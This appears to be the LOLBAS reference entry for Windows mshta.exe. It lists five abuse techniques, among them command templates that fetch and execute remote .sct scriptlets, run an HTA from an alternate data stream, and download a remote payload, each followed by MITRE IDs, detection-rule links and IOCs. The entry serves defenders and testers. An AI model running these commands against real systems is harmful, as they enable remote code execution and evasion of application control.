Mshta.exe

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code

mshta.exe {PATH:.hta}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.005

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Elastic: github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: mshta.exe executing raw or obfuscated script within the command-line

IOC: General usage of HTA file

IOC: msthta.exe network connection to Internet/WWW resource

IOC: DotNet CLR libraries loaded into mshta.exe

IOC: DotNet CLR Usage Log - mshta.exe.log

Refs

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct

oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

lolbas-project.github.io/lolbas/Binaries/Mshta/

Executes VBScript supplied as a command line argument.

Use Execute code

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.005

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Elastic: github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: mshta.exe executing raw or obfuscated script within the command-line

IOC: General usage of HTA file

IOC: msthta.exe network connection to Internet/WWW resource

IOC: DotNet CLR libraries loaded into mshta.exe

IOC: DotNet CLR Usage Log - mshta.exe.log

Refs

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct

oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

lolbas-project.github.io/lolbas/Binaries/Mshta/

Executes JavaScript supplied as a command line argument.

Use Execute code

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.005

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Elastic: github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: mshta.exe executing raw or obfuscated script within the command-line

IOC: General usage of HTA file

IOC: msthta.exe network connection to Internet/WWW resource

IOC: DotNet CLR libraries loaded into mshta.exe

IOC: DotNet CLR Usage Log - mshta.exe.log

Refs

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct

oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

lolbas-project.github.io/lolbas/Binaries/Mshta/

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code hidden in alternate data stream

mshta.exe "{PATH_ABSOLUTE}:file.hta"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1218.005

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Elastic: github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: mshta.exe executing raw or obfuscated script within the command-line

IOC: General usage of HTA file

IOC: msthta.exe network connection to Internet/WWW resource

IOC: DotNet CLR libraries loaded into mshta.exe

IOC: DotNet CLR Usage Log - mshta.exe.log

Refs

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct

oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

lolbas-project.github.io/lolbas/Binaries/Mshta/

It will download a remote payload and place it in INetCache.

Use Downloads payload from remote server

mshta.exe {REMOTEURL}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml

Elastic: github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml

Splunk: github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml

Splunk: github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml

BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

IOC: mshta.exe executing raw or obfuscated script within the command-line

IOC: General usage of HTA file

IOC: msthta.exe network connection to Internet/WWW resource

IOC: DotNet CLR libraries loaded into mshta.exe

IOC: DotNet CLR Usage Log - mshta.exe.log

Refs

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4

github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct

oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

lolbas-project.github.io/lolbas/Binaries/Mshta/